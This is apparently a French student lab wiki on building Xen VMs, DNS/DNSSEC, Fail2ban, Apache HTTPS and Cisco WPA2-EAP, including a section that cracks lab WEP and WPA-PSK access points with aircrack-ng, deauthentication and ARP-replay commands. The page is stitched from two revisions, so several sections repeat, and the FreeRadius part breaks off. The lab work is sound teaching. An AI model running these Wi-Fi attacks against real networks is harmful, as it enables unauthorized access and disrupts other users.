3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr
valid_lft 942sec preferred_lft 842sec
inet6 fe80::216:3eff:fed3:d693/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

Et voici l'état des interface de la machines mandataire Garage :

<syntaxhighlight lang="shell">
root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fee4:9c07/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
valid_lft forever preferred_lft forever
inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr
valid_lft 893sec preferred_lft 793sec
inet6 fe80::216:3eff:fee4:9c08/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

=== Test de la LAN ===

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

[[Fichier:Ping C2.png|vignette|center|800px]]

Et voici un ping de RS7 vers Garages

[[Fichier:Ping Garage.png|vignette|center|800px]]

=== Test vers l'extérieur ===

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

[[Fichier:Ping ipv4.png|vignette|center|800px]]

Et voici un ping de RS7 vers l'extérieur en IPv6:
[[Fichier:Ipv6.png|centré|vignette|800x800px]]

=SSH=

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

=DNS=
==Configuration du résolveur==
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

<syntaxhighlight lang="shell">
search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3
</syntaxhighlight>

==Configuration des zones==
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

<syntaxhighlight lang="shell">
zone "rs7.zone" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Création et configuration du fichier .zone==
Nous avons ensuite créé et configuré le fichier rs7.zone.

<syntaxhighlight lang="shell">
$TTL 200
@ IN SOA ns.rs7.online. admin.rs7.online. (
4004 ; Version
21600 ; Refresh secondary (6h)
3600 ; Retry secondary (1h)
2592000 ; Expire if no refresh (30j)
86400 ) ; Negative cache (24h)

; Serveurs de noms
@ IN NS ns.rs7.online.
@ IN NS ns.c2vts.fr.

;Enregistrements A
@ IN A 193.48.57.170
ns IN A 193.48.57.170

;Enregistrements AAAA
@ IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693
ns IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www IN CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"
</syntaxhighlight>

On charge la version du fichier de zone avec la commande suivante :

<syntaxhighlight lang="shell">
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK
</syntaxhighlight>

==Vérifications==
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

[[Fichier:DNS.png|vignette|center|900px]]

=DNSSEC=

==Configuration de la méthode automatique==
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

<syntaxhighlight lang="shell">
zone "rs7" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Génération des clés==
ensuite nous créeons le répertoire qui va acceuillir nos clés:

<syntaxhighlight lang="shell">
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys
</syntaxhighlight>

et nous redémarrons le service :

<syntaxhighlight lang="shell">
service named restart
</syntaxhighlight>

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key Krs7.+013+57317.private rs7.online-ksk.private
Krs7.+013+14689.private Krs7.+013+57317.state rs7.online-zsk.key
Krs7.+013+14689.state dsset-rs7. rs7.online-zsk.private
Krs7.+013+57317.key rs7.online-ksk.key
</syntaxhighlight>

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online.

= Fail2ban =

Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier <code>jail.local</code> afin d’y définir les paramètres de protection suivants :

<syntaxhighlight lang="shell">
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime = 600
</syntaxhighlight>

Dans cette configuration :
* <code>maxretry</code> indique le nombre maximal de tentatives autorisées avant le bannissement ;
* <code>findtime</code> correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
* <code>bantime</code> définit la durée du bannissement de l’adresse IP fautive.

La commande <code>fail2ban-client status sshd</code> permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

<syntaxhighlight lang="shell">
root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
</syntaxhighlight>

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier <code>jail.local</code> :

<syntaxhighlight lang="shell">
[connect-refused]
enabled = true
port = domain
protocol = tcp
filter = connect-refused
logpath = /var/log/syslog
maxretry = 3
bantime = 600
findtime = 600
</syntaxhighlight>

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire <code>filter.d</code>, nommé <code>connect-refused.conf</code>, afin de définir les motifs de requêtes TCP à bloquer :

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =
</syntaxhighlight>

Enfin, la commande <code>fail2ban-client status connect-refused</code> permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/syslog
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
</syntaxhighlight>

=HTTPS=
==Installation d'Apache2==
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :
<syntaxhighlight lang="shell">
aptitude install apache2
</syntaxhighlight>

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :
<syntaxhighlight lang="shell">
a2enmod ssl
</syntaxhighlight>

==Activation du port HTTPS==
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>
</syntaxhighlight>

==Configuration du certificat SSL==
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :
<syntaxhighlight lang="shell">
/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire
</syntaxhighlight>

==Configuration du domaine sécurisé==
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf
<VirtualHost *:80>
ServerName rs7.online.
ServerAlias www.rs7.online.
Redirect permanent / https://rs7.online/
</VirtualHost>

<VirtualHost *:443>

ServerName rs7.online.
DocumentRoot /var/www/rs7.online/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/rs7.online.crt
SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
SSLProxyEngine on
<Directory /var/www/rs7.online>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined

</VirtualHost>
</syntaxhighlight>

==Vérification du certificat SSL==
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :
<syntaxhighlight lang="shell">
c_rehash /etc/ssl/certs
</syntaxhighlight>

Notre page web est maintenant accessible via http://rs7.online .

= Effraction Wi-Fi =

== Cassage de clef WEP d’un point d’accès WiFi ==

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''
* Canal utilisé : '''11'''

=== Passage de l’interface en mode monitor ===

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

<syntaxhighlight lang="bash">
airmon-ng start wlan0
</syntaxhighlight>

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

=== Identification du réseau cible ===

Scan des réseaux protégés en WEP :

<syntaxhighlight lang="bash">
airodump-ng --encrypt WEP wlan0mon
</syntaxhighlight>

Le réseau cible identifié présente les caractéristiques suivantes :

=== Capture du trafic ===

Capture ciblée du point d’accès :

<syntaxhighlight lang="bash">
airodump-ng --channel 11 \
--bssid 00:14:BF:63:1E:42 \
--write capture_wep \
wlan0mon
</syntaxhighlight>

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

=== Authentification d’une adresse MAC d’injection ===

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

<syntaxhighlight lang="bash">
aireplay-ng --fakeauth 0 \
-a 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

* -a : BSSID réel du point d’accès
* -h : adresse MAC utilisée pour l’injection
* --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

=== Génération de trafic ARP (rejeu) ===

Afin d’accélérer l’accumulation d’IV :

<syntaxhighlight lang="bash">
aireplay-ng --arpreplay \
-b 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

=== Désauthentification d’un client ===

Pour provoquer l’émission de nouvelles requêtes ARP :

<syntaxhighlight lang="bash">
aireplay-ng --deauth 5 \
-a 00:14:BF:63:1E:42 \
wlan0mon
</syntaxhighlight>

Cette action force les stations à se reconnecter, générant du trafic exploitable.

=== Cassage de la clé ===

Lorsque le nombre d’IV atteint environ 45 000 :

<syntaxhighlight lang="bash">
aircrack-ng capture_wep-01.cap
</syntaxhighlight>

Résultat obtenu :

[[Fichier:Cracotte08.png|800px|vignette|centré]]

- Nombre d’IV exploités : ~44 687
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE
- Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

== Cassage de mot de passe WPA-PSK par force brute ==

=== Identification du réseau cible ===

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil <code>airodump-ng</code> en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

<syntaxhighlight lang="bash">
sudo airodump-ng wlan1mon
</syntaxhighlight>

<code>wlan1mon</code> correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

{| class="wikitable"
! Paramètre !! Valeur
|-
| ESSID || kracotte08
|-
| BSSID || 44:AD:D9:5F:87:07
|-
| Canal || 13
|-
| Chiffrement || WPA2
|-
| Authentification || PSK
|-
| Puissance signal || -38 dBm
|}

Une station cliente connectée a également été détectée :

* Adresse MAC : 40:A5:EF:01:25:8B

=== Capture du handshake WPA ===

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

<syntaxhighlight lang="bash">
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon
</syntaxhighlight>

* <code>-c 13</code> : écoute sur le canal du point d’accès.
* <code>--bssid</code> : filtrage du réseau cible uniquement.
* <code>-w</code> : sauvegarde des paquets capturés.
* <code>wlan1mon</code> : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

===Forçage de la reconnexion des clients ===

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

<syntaxhighlight lang="bash">
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon
</syntaxhighlight>

* <code>-0 10</code> : envoi de 10 trames de désauthentification.
* <code>-a</code> : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans <code>airodump-ng</code>.

Sortie observée :

<pre>
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]
</pre>

=== Absence de capture du handshake ===

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

<pre>
WPA handshake: 44:AD:D9:5F:87:07
</pre>

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

<syntaxhighlight lang="bash">
seq -w 00000000 99999999 > dictionnaire.txt
</syntaxhighlight>

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

=== Tentative de cassage du mot de passe ===

La commande suivante permet de lancer l’attaque par dictionnaire :

<syntaxhighlight lang="bash">
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap
</syntaxhighlight>

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

= Sécurisation WiFi par WPA2-EAP =

== Objectif ==

L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme
d’authentification WPA2-Enterprise (WPA2-EAP).
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé
FreeRadius permettant une authentification individuelle des utilisateurs.

L’infrastructure repose sur :
* un VLAN personnel dédié ;
* une redondance des routeurs via VRRP ;
* un serveur FreeRadius installé sur la machine virtuelle de services.

---

== Accès aux équipements réseau ==

La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :

<syntaxhighlight lang="bash">
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\
diffie-hellman-group14-sha1,\
diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=ssh-rsa \
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\
aes128-ctr,aes192-ctr,aes256-ctr \
admin@172.27.0.2
</syntaxhighlight>

=== Adressage des équipements ===

{| class="wikitable"
! Equipement !! Adresse IP
|-
| Routeur C9200 E304 || 172.27.0.1
|-
| Routeur C9200 E306 || 172.27.0.2
|-
| Borne WiFi E306 || 172.27.0.3
|-
| Borne WiFi E304 || 172.27.0.4
|}

---

== Création du VLAN personnel ==

Le VLAN personnel attribué est le VLAN '''18'''.

=== Sur les deux routeurs ===

<syntaxhighlight lang="bash">
conf t
vlan 18
name VLAN_YASSINE
exit
</syntaxhighlight>

---

== Configuration des interfaces VLAN ==

=== Routeur principal (E304) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.2 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 110
vrrp 18 preempt
no shutdown
</syntaxhighlight>

---

=== Routeur secondaire (E306) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.3 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 100
vrrp 18 preempt
no shutdown
</syntaxhighlight>

L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.

---

== Configuration DHCP ==

Le serveur DHCP est réparti entre les deux routeurs.

=== Routeur E304 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-A
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.100 10.60.8.150
</syntaxhighlight>

---

=== Routeur E306 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-B
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.151 10.60.8.200
</syntaxhighlight>

---

== Routage vers la machine mandataire (PBR) ==

Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.

<syntaxhighlight lang="bash">
access-list 101 permit ip 10.60.8.0 0.0.0.255 any

route-map PBR-YASSINE permit 10
match ip address 101
set ip next-hop 192.168.7.1
</syntaxhighlight>

Application :

<syntaxhighlight lang="bash">
interface vlan 18
ip policy route-map PBR-YASSINE
</syntaxhighlight>

---

== Configuration du serveur FreeRadius ==

Sur la machine virtuelle de services (192.168.7.2) :

Installation :

<syntaxhighlight lang="bash">
apt install freeradius freeradius-utils
</syntaxhighlight>

Ajout du point d’accès WiFi :

Atelier SysRes SE4 2025/2026 E8

2026-02-25T17:09:10Z

Yyahiani :

=Création du pont et des VM=

== Création du pont: ==
Dans capbreton, dans <code>/etc/network/interfaces</code> on renseigne notre pont <code>pontclio</code>
<syntaxhighlight>
auto pontclio
iface pontclio inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>

==Partitions==
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio
</syntaxhighlight>

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

<syntaxhighlight lang="shell">
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,
</syntaxhighlight>

Pour démarrer notre VM nous exécutons la commande suivante:

<syntaxhighlight lang="shell">
xen create SE4.RS7.cfg
</syntaxhighlight>

Ensuite nous pouvons vérifier si la VM est démarrée avec:

<syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

Par la suite nous nous connectons à la VM de cette manière:

<syntaxhighlight lang="shell">
xen console SE4.RS7
</syntaxhighlight>

Ensuite créer les partitions <code>var</code> et <code>home</code>:
<syntaxhighlight>
lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual
</syntaxhighlight>

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

<syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Et nous formatons ces disk avec ces deux commandes:

<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

<syntaxhighlight lang="shell">
mount /dev/xvdb1 /mnt
</syntaxhighlight>

On copie les données et on démonte le fichier copié:

<syntaxhighlight lang="shell">
mv /var/* /mnt
unmount /mnt
</syntaxhighlight>

Nous pouvons maintenant observer les changement:

<syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

=IP=
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

==VM de service==

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

<syntaxhighlight lang="shell">
iface eth0 inet6 auto
</syntaxhighlight>

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

<syntaxhighlight lang="shell">
iface eth0 inet static
address 192.168.7.2
netmask 255.255.255.0
gateway 192.168.7.1
</syntaxhighlight>

==VM mandataire==

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

<syntaxhighlight lang="shell">
# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
address 193.48.57.170/27
gateway 193.48.57.164

iface eth1 inet6 auto
</syntaxhighlight>

== Tests ==

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

<syntaxhighlight lang="shell">
root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed3:d692/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr
valid_lft 942sec preferred_lft 842sec
inet6 fe80::216:3eff:fed3:d693/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

Et voici l'état des interface de la machines mandataire Garage :

<syntaxhighlight lang="shell">
root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fee4:9c07/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
valid_lft forever preferred_lft forever
inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr
valid_lft 893sec preferred_lft 793sec
inet6 fe80::216:3eff:fee4:9c08/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

=== Test de la LAN ===

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

[[Fichier:Ping C2.png|vignette|center|800px]]

Et voici un ping de RS7 vers Garages

[[Fichier:Ping Garage.png|vignette|center|800px]]

=== Test vers l'extérieur ===

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

[[Fichier:Ping ipv4.png|vignette|center|800px]]

Et voici un ping de RS7 vers l'extérieur en IPv6:
[[Fichier:Ipv6.png|centré|vignette|800x800px]]

=SSH=

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

=DNS=
==Configuration du résolveur==
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

<syntaxhighlight lang="shell">
search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3
</syntaxhighlight>

==Configuration des zones==
